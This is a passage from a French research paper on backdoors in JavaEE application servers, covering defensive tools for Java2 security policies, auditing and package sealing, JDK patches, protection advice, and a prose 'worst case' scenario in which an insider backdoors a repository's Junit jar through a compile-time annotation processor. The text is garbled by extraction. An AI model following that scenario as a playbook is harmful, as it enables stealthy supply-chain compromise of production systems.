Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
52 Signature numerique
Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement
grant codebase foocom Signedby foo
Principal comsunsecurityauthSolarisPrincipal duke
permission javasecurityAllPermission
Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant
53 Defense passive
Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons
ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les
memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres
utilitaires ici httpmacarongooglecodecom Ce dernier prend en parametredes composants JavaEE des repertoires etou des archives Il analyse lrsquoensemble pourdetecter les pieges
Un fichier au format XML permet de synthetiser les resultats
$ macaron -audit --output auditxml MonComposantear
$ firefox auditxml
434 Porte derobee dans les serveurs drsquoapplications JavaEE
Le rapport XML est consultable dans un navigateur grace a une feuille de stylespecifique permettant la navigation dans les resultats
Fig 14 Audit
Grace a la feuille de style lrsquoimpression de cette page presente tous les resultatsLrsquoexperience montre qursquoil y a effectivement des classes similaires dans plusieurs
archives differentes du meme projet des noms de fichiers identiques present a differentsendroits etc
ltpackages gt
ltpackage
name=orgaspectjinternallangannotationgt
ltcontext gtaspectjweaver -161 jarltcontext gt
ltcontext gtaspectjrt -160 jarltcontext gt
ltpackage gt
ltpackages gt
Pour eviter les faux positifs un parametre permet drsquoindiquer des regles drsquoexclusionsComme le format du fichier des regles drsquoexclusions est strictement identique au fichierde resultat drsquoune analyse il est possible drsquoeffectuer un premier tir sur une instancede confiance ou limitees aux archives saines du projet et drsquoutiliser le resultat pour lestirs suivant Ainsi seules les nouvelles alertes seront exposees
$ macaron -audit --output ignorexml MonComposantear
$ macaron -audit --ignore ignorexml
-output auditxml
MonComposantear
P Prados 435
Certains fichiers sont presents en nombre dans les archives Ils peuvent etre exclusglobalement
ltfilenames gt
ltfilename name=MANIFESTMF gt
ltfilename name=INDEXLIST gt
ltfilename name=packagehtml gt
ltfilenames gt
Cette approche presente le risque de cacher une attaque eventuelle car les exclusionsne sont pas associees a des archives specifiques
Il est preferable de selectionner judicieusement les archives a utiliser dans leprojet pour eviter les faux-positifs Par exemple avec Maven il est possible drsquoexclurecertaines dependances malheureuses
ltdependency gt
ltgroupId gtorgspringframework ltgroupId gt
ltartifactId gtspring -aspects ltartifactId gt
ltversion gt255ltversion gt
ltexclusions gt
ltexclusion gt
ltgroupId gtorgaspectj ltgroupId gt
ltartifactId gtaspectjrt ltartifactId gt
ltexclusion gt
ltexclusions gt
ltdependency gt
Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml
Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2
54 Defense active
Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14
Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)
14 httpjavasuncomdeveloperJDCTechTips2001tt0130html
436 Porte derobee dans les serveurs drsquoapplications JavaEE
Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee
En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle
Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes
Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes
ltbuildgt
ltplugins gt
ltplugin gt
ltartifactId gtmaven -jar -plugin ltartifactId gt
ltconfiguration gt
ltarchive gt
ltmanifestEntries gt
ltSealed gttrueltSealed gt
ltmanifestEntries gt
ltarchive gt
ltconfiguration gt
ltplugin gt
ltplugins gt
ltbuildgt
Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe
Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)
$ macaron -seal --in -place MonComposantear
Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages
Pour plus drsquoinformations invoquez lrsquoaide
$ macaron -seal --help
15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing
P Prados 437
Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local
$ macaron -seal --in -place --sha1 -R m2repository
De meme pour un repository Ivy
$ macaron -seal --in -place -R ivy2cache
Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes
$ macaron -audit --output audit -tomcatxml
-R $CATALINA_HOME
$ macaron -seal --ignore audit -tomcatxml
-R $CATALINA_HOME --in -place
Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe
$ macaron -audit --output - -R $CATALINA_HOME |
macaron -seal --ignore - -R $CATALINA_HOME --in-place
La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges
$ $CATALINA_HOMEbincatalinash run -security
Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables
Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur
$ macaron -seal --audit sealedxml MonComposantwar
$ firefox sealedxml
438 Porte derobee dans les serveurs drsquoapplications JavaEE
55 Reduction du risque des META-INFservices
La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation
Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant
Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface
Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader
if (SystemgetSecurityManager ()=null)
final Permission perm=
new ServicePermission(servicegetName ())
AccessControllerdoPrivileged(
new PrivilegedAction ltObject gt()
public Object run()
if (clazzgetProtectionDomain ()implies(perm))
throw new AccessControlException(
install service denied perm perm)
return null
)
Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin
Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader
De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants
ndash comsunndash orgrelaxingdatatype
ndash sunmisc
P Prados 439
Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees
j2sesrc javautilServiceLoaderjava | 42 +-
j2sesrc javautilServicePermissionjava | 74 ++++
j2sesrc javaxxmlbindContextFinderjava | 66 ---
j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----
j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12
j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----
j2sesrc javaxxmlparsersSAXParserFactoryjava | 17
j2sesrc javaxxmlsoapFactoryFinderjava | 39 --
j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----
j2sesrc javaxxmltransformFactoryFinderjava | 86 ----
j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +
j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--
j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------
j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --
15 files changed 283 insertions (+) 646 deletions(-)
Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet
grant
permission javautilServicePermission
javaxxmlparsersSAXParserFactory
En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ServiceLocator -6jar
Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente
Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat
440 Porte derobee dans les serveurs drsquoapplications JavaEE
56 Reduction du risque des ResourcesBundles
Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles
Fig 15 Nouveau RessourceBundle
La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
